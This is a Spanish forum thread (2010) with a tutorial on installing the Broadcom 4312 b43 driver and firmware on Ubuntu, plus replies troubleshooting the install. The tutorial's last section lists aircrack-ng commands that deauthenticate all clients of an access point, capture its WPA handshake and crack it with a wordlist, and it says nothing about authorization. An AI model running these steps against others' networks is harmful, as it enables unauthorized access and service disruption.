elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 06:40  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless
| | |-+  Wireless en Linux (Moderadores: Uxio, pianista, ChimoC)
| | | |-+  [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu  (Leído 12,288 veces)
p0k0

Desconectado Desconectado

Mensajes: 9


Rodeado de...


Ver Perfil WWW
[TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« en: 20 Enero 2010, 07:29 »

Este tuto esta basado en la paginas de documentacion de aircrack, y linux wireless.

1. Verificar PCI ID
Ejecuta este comando en una terminal para saber si tu tarjeta es compatible con este proceso.
Código:
lspci -nn

Si al lado de tu tarjeta se encuentra esto: [14e4:4315], puedes seguir el tuto :D.

2. Elementos necesarios
2.1 git-core > Se instala desde el Gestor de paquetes Synaptic
2.2 Ubuntu > No he probado en otro distro
2.3 Kernel 2.6.32-x > Mas informacion abajo
2.4 aircrack-ng > Se instala desde el Gestor de paquetes Synaptic

3. Descargando el Kernel 2.6.32
3.1 Descarga esto Linux-headers-2.6.32-020632_2.6.32-020632_all.deb
3.2 Descarga tu kernel headers package:
I386: linux-headers-2.6.32-020632-generic_2.6.32-020632_i386.deb
AMD64: linux-headers-2.6.32-020632-generic_2.6.32-020632_amd64.deb

3.3 Descarga el kernel compilado:
I386: linux-image-2.6.32-020632-generic_2.6.32-020632_i386.deb
AMD64: linux-image-2.6.32-020632-generic_2.6.32-020632_amd64.deb

3.4 Instalalos en este orden:
  • linux-headers-2.6.32-020632_2.6.32-020632_all.deb
  • I386: linux-headers-2.6.32-020632-generic_2.6.32-020632_i386.deb   O
    AMD64: linux-headers-2.6.32-020632-generic_2.6.32-020632_amd64.deb
  • I386: linux-image-2.6.32-020632-generic_2.6.32-020632_i386.deb   O
    AMD64: linux-image-2.6.32-020632-generic_2.6.32-020632_amd64.deb

NOTA: Puedes usar cualquier kernel del 2.6.32 hacia adelante no hay problema.

3.5 En la terminal ejecuta: (por si las moscas)
Código:
sudo update-grub

3.6 Reinicia y selecciona el kernel 2.6.32 desde el GRUB

4. Preparacion
Código:
git clone http://git.bu3sch.de/git/b43-tools.git
cd b43-tools/fwcutter
make
cd ../../

4.1 Descargar el firmware:
Código:
wget http://downloads.openwrt.org/sources/broadcom-wl-4.178.10.4.tar.bz2
tar xjf broadcom-wl-4.178.10.4.tar.bz2

5. Instalar el firmware:
Código:
cd broadcom-wl-4.178.10.4/linux
sudo ../../b43-tools/fwcutter/b43-fwcutter -w ../../../../DIRECTORIO_DE_LOS_FIMWARES wl_apsta.o
Donde "DIRECTORIO_DE_LOS_FIRMWARES" es la carpeta donde se encuentran los firmwares del sistema, generalmente se encuentra en "/lib/firmware".
!LISTO!

6. !A probar la tarjeta!:

6.1 Modo monitor
Código:
airmon-ng start wlan0


6.2 Aireplay ataque 9
Código:
aireplay-ng -9 mon0


6.3 Capturando paquetes
Código:
airodump-ng -c CANAL_DEL_AP --bssid MAC_DEL_AP -w ARCHIVO_A_GUARDAR mon0
EJEMPLO: airodump-ng -c 4 --bssid 00:1B:5B:A3:85:D1 -w miap mon0


6.4 Desconectar a un cliente(Ataque 0) y capturar el handshake
Código:
aireplay-ng -0 1 -a MAC_DEL_AP -c MAC_CLIENTE mon0
EJEMPLO: aireplay-ng -0 1 -a 00:1B:5B:A3:85:D1 mon0    <Desconecta a todos


6.5 Crackear el handshake
Código:
aircrack-ng -w DIRECTORIO_DICCIONARIO    NOMBRE_DEL_ARCHIVO_CAPTURADOR*.cap
EJEMPLO: aircrack-ng -w /aircrack/password.lst miap*.cap <Se debe de poner el *


!LISTO!
Bueno esto es todo espero que los haya ayudado y si tienen dudas pregunten y hare lo que pueda.

Creditos: p0k0 y a las comunidades de seguiridadwireless y elhacker.


« Última modificación: 22 Enero 2010, 06:18 por p0k0 » En línea

ChimoC
Por la libertad y contra el terrorismo
Moderador
***
Desconectado Desconectado

Mensajes: 4.606


Paz, dignidad y justicia


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #1 en: 20 Enero 2010, 12:57 »

Buenas:

Lo metemos en temas y manuales de interés  ;)

Un saludo

ChimoC


En línea

p0k0

Desconectado Desconectado

Mensajes: 9


Rodeado de...


Ver Perfil WWW
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #2 en: 20 Enero 2010, 19:35 »

Muchas gracias  ;D
Creo que empezaré a crear otro tuto de este chipset  :D

Saludos
En línea

Festor
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.961


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #3 en: 21 Enero 2010, 12:06 »

Antes que nada, buen aporte!   ;)

Sin embargo... unas dudas...

-> ¿Es necesario actualizar el kernel a la 2.6.32? ¿No sirve el 2.6.31 de Ubuntu 9.10 Karmic?
-> Hay una versión más reciente del kernel 2.6.32: http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.32.4
-> "sudo update-grub" es innecesario ya que al instalar un kernel se auto-reconfigura el grub... aunque bueno... tampoco está mal asegurarse de ello  :xD
-> ¿No hay que instalar ninguna dependencia para compilar el fwcutter? Lo digo porque el paquete b43-fwcutter de los repos de Ubuntu tiene dependencias... lo que nos lleva a la siguiente pregunta ¿no sirve el paquete b43-fwcutter de los repositorios de Ubuntu?
-> /lib/firmware no es el directorio de los drivers si no de los firmwares
-> Creo que el mini-tutorial para compilar el aircrack-ng se te ha quedado muy "mini"  :xD ya que a menos que ya tengas instaladas las dependencias necesarias tendrías que instalar los paquetes libpcap0.8-dev, libssl-dev, libsqlite3-dev y libnl-dev... lo que nos lleva a si no vale la pena instalar directamente el aircrack-ng de los repositorios de Ubuntu....

Además... ¿para que versión de Ubuntu está orientado el tutorial? Por tus capturas yo diría que es la 9.10 pero tampoco es que este muy seguro...

Gracias!
En línea
p0k0

Desconectado Desconectado

Mensajes: 9


Rodeado de...


Ver Perfil WWW
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #4 en: 22 Enero 2010, 05:03 »

Antes que nada, buen aporte!   ;)

Sin embargo... unas dudas...

-> ¿Es necesario actualizar el kernel a la 2.6.32? ¿No sirve el 2.6.31 de Ubuntu 9.10 Karmic?
-> Hay una versión más reciente del kernel 2.6.32: http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.32.4
-> "sudo update-grub" es innecesario ya que al instalar un kernel se auto-reconfigura el grub... aunque bueno... tampoco está mal asegurarse de ello  :xD
-> ¿No hay que instalar ninguna dependencia para compilar el fwcutter? Lo digo porque el paquete b43-fwcutter de los repos de Ubuntu tiene dependencias... lo que nos lleva a la siguiente pregunta ¿no sirve el paquete b43-fwcutter de los repositorios de Ubuntu?
-> /lib/firmware no es el directorio de los drivers si no de los firmwares
-> Creo que el mini-tutorial para compilar el aircrack-ng se te ha quedado muy "mini"  :xD ya que a menos que ya tengas instaladas las dependencias necesarias tendrías que instalar los paquetes libpcap0.8-dev, libssl-dev, libsqlite3-dev y libnl-dev... lo que nos lleva a si no vale la pena instalar directamente el aircrack-ng de los repositorios de Ubuntu....

Además... ¿para que versión de Ubuntu está orientado el tutorial? Por tus capturas yo diría que es la 9.10 pero tampoco es que este muy seguro...

Gracias!

Creo que generé mas preguntas de las que respondi :silbar:, con gusto las respondere.

1->"Kernel" Si es necesario tener el kernel 2.6.32-*, o almenos de este para adelante, pues solo estos soportan el chipset 4312 (almenos eso indica la documentación de linux wireless).

2-> "Nuevo kernel" Ese kernel salio el mismo dia en que publique este tuto  :P, también puedes usar ese no hay problema.

3-> "update grub" Creo que yo también me hice esta pregunta  ;D, de hecho me salte este paso, pero como dices no esta demas estar seguro xD.

4->"fwcutter" No soy ningun experto en linux por lo puedes observar, si con la pregunta a que si puedes instalarlo desde los repositorios de ubuntu te refieres a instalarlos desde el Gestor de paquetes de Synaptic, la respuesta es no, es necesario usar el que esta en el post. Si falta alguna dependencia es cuetion de instalarla, no recuerdo si la necesita, si falta me avisas para ponerla en el tuto.

6-> "lib/firmware" Ya lo corregi. :P

5->"Aircrack-ng" Si, puedes instalar el aircrack desde el Gestor de paquetes de Synaptic

Hice este tuto en Ubuntu Netbook Remix 9.10, pero no creo que influya la version de Ubuntu, si estoy equivocado corrijanme.

Saludos
p0k0
« Última modificación: 22 Enero 2010, 06:13 por p0k0 » En línea

matsutarma

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #5 en: 22 Enero 2010, 23:48 »

Hola a todos, tengo una duda o un problema al instalar el driver. Una vez que he seguido todos los pasos me aparece el siguiente error

root@ubuntu:/home/ubuntu/b43-tools/fwcutter/broadcom-wl-4.178.10.4/linux# b43-fwcutter -w /lib/firmware wl_apsta.o

Sorry, the input file is either wrong or not supported by b43-fwcutter.
This file has an unknown MD5sum bb8537e3204a1ea5903fe3e66b5e2763.

¿Por qué tengo este problema? Me podrías ayudar.

Gracias por el tuto.
En línea
p0k0

Desconectado Desconectado

Mensajes: 9


Rodeado de...


Ver Perfil WWW
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #6 en: 23 Enero 2010, 04:57 »

Primero que nada gracias por tratar de aclarar tus dudas.

Te has descargado el b43-fwcutter desde el Gestor de paquetes Synaptic.
Me ha pasado lo mismo
Empieza de nuevo el tuto creo que te has equivocado..

Un saludo
p0k0
En línea

davincho84

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #7 en: 23 Enero 2010, 10:13 »

saludos,

tengo el siguiente problema al actualizar el kernel 2.6.32 >:


Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/dkms
 * Running DKMS auto installation service for kernel 2.6.32-020632-generic

 *  bcmwl (5.10.91.9+bdcom)...
bcmwl (5.10.91.9+bdcom): Installing module.
.......(bad exit status: 10)
  Build failed.  Installation skipped.
   ...fail!
run-parts: executing /etc/kernel/postinst.d/nvidia-common

eso creo q significa q no instalo mi wireless y por ende no puedo continuar con el tuto.

porfa alguien que me ayude.
En línea
Festor
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.961


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #8 en: 23 Enero 2010, 12:07 »

tengo el siguiente problema al actualizar el kernel 2.6.32 >:

Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/dkms
 * Running DKMS auto installation service for kernel 2.6.32-020632-generic

*  bcmwl (5.10.91.9+bdcom)...
bcmwl (5.10.91.9+bdcom): Installing module.
.......(bad exit status: 10)
  Build failed.  Installation skipped.
   ...fail!

run-parts: executing /etc/kernel/postinst.d/nvidia-common

davincho84...

¿Estas seguro que tu wifi usa wl chipset 4312?

Por favor, danos la salida del comando lspci

A menos que me equivoque el manual de p0k0 está orientado a utilizar el controlador "libre" (b43) de las Broadcom mientras que el controlador que parece que estas usando (broadcom-wl, bcmwl o simplemente wl) es el híbrido o propietario...
« Última modificación: 23 Enero 2010, 14:08 por Festor » En línea
aldoruiz

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #9 en: 26 Enero 2010, 01:38 »

Gracias amigo por el tutorial.

Segui al pie de la letra tus instrucciones y despues de reiniciar el equipo detecto la tarjeta, solo que cuando el led de la inalambrica esta de color azul dice que esta desactivada y con el naranja activada, pero realemte esto es lo de menos. El problema es que detecta la red pero no se conecta y despues de un rato ya no detecta ninguna red hasta que reinicio el equipo nuevamente.

Instale el ubuntu 9.10 netbook-remix-i386 en una mini hp 110-1020la.

Alguna idea a que se puede deber ???

Saludos
En línea
p0k0

Desconectado Desconectado

Mensajes: 9


Rodeado de...


Ver Perfil WWW
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #10 en: 26 Enero 2010, 02:07 »

Gracias amigo por el tutorial.

Segui al pie de la letra tus instrucciones y despues de reiniciar el equipo detecto la tarjeta, solo que cuando el led de la inalambrica esta de color azul dice que esta desactivada y con el naranja activada, pero realemte esto es lo de menos. El problema es que detecta la red pero no se conecta y despues de un rato ya no detecta ninguna red hasta que reinicio el equipo nuevamente.

Instale el ubuntu 9.10 netbook-remix-i386 en una mini hp 110-1020la.

Alguna idea a que se puede deber ???

Saludos

Tienes instalado el controlador b43 o el STA? Intenta instalando el b43 y desinstalar el STA.
Si no te funciona prueba a hacer el paso 5 (reinstala el firmware).
Si funciona nos cuentas  ::)

Saludos
p0k0
En línea

aldoruiz

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #11 en: 27 Enero 2010, 01:42 »

Amigo p0k0

Al prender la lap se quedo trabada con solo el cursos parapadeando en la perte superior izq. de la pantalla, asi que actualice al kernel v2.6.33-rc5 y por si las moscas instale nuevamente el firmware.

Eso fue hace unos 15 minutos, sigue detectando la red y teclear el comando aireplay-ng -9 mon0 ya aparecen redes tambien.

Gracias por la ayuda.

Saludos
En línea
p0k0

Desconectado Desconectado

Mensajes: 9


Rodeado de...


Ver Perfil WWW
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #12 en: 27 Enero 2010, 06:09 »

Amigo p0k0

Al prender la lap se quedo trabada con solo el cursos parapadeando en la perte superior izq. de la pantalla, asi que actualice al kernel v2.6.33-rc5 y por si las moscas instale nuevamente el firmware.

Eso fue hace unos 15 minutos, sigue detectando la red y teclear el comando aireplay-ng -9 mon0 ya aparecen redes tambien.

Gracias por la ayuda.

Saludos

Me alegro de que te haya funcionado ;D
para eso estamos aquí

Saludos
p0k0
En línea

xpierre

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #13 en: 2 Febrero 2010, 21:46 »

Brutal! funciona excelente (no se nada de linux, apenas esta semana he empezado) y ya mi tarjeta de red que era bien sorda escucha tan bien como cualquier otra ^^

Gracias por este tuto!
En línea
xpierre

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: [TUTO]Chipset Broadcom 4312 [14e4:4315] en Ubuntu
« Respuesta #14 en: 3 Febrero 2010, 05:27 »

Saludos, perdonen por el doble post, pero ya ven que son en fechas diferentes.

estoy teniendo un problema en mi ubuntu 9.10, ya que no puedo seguir usando la tarjeta wifi usb (rlk8187L) a gusto despues de haber seguido esta guia, es la broadcom la que intenta conectarse con todo lo que detecta y no le da oportunidad a la realtek de conectarse (ni siquiera me muestra conexiones para esa tarjeta o si lo hace solo algunas mas alejadas) y cuando deshabilito la tarjeta broadcom con el switch se caen ambas tarjetas impidiendome así conectarme con la realtek.

resulta que yo uso la realtek para tener mejor señal ya que es de 23dbi y tiene antena y la broadcom no se porque no capta tan buena la señal y se cae seguido (tanto en XP como en linux).

Es por esto que quiero darle prioridad a la realtek y quisiera saber si tengo una forma de deshabilitar la tarjeta broadcom sin deshabilitar la realtek cuando desee conectarme con esta. (de preferencia con el switch, o sino, con algún comando)

gracias de antemano.
En línea
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con tarjeta Broadcom BCM 4312
Wireless en Linux
TudeLa 12 4,995 Último mensaje 3 Diciembre 2009, 09:50
por ChimoC
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines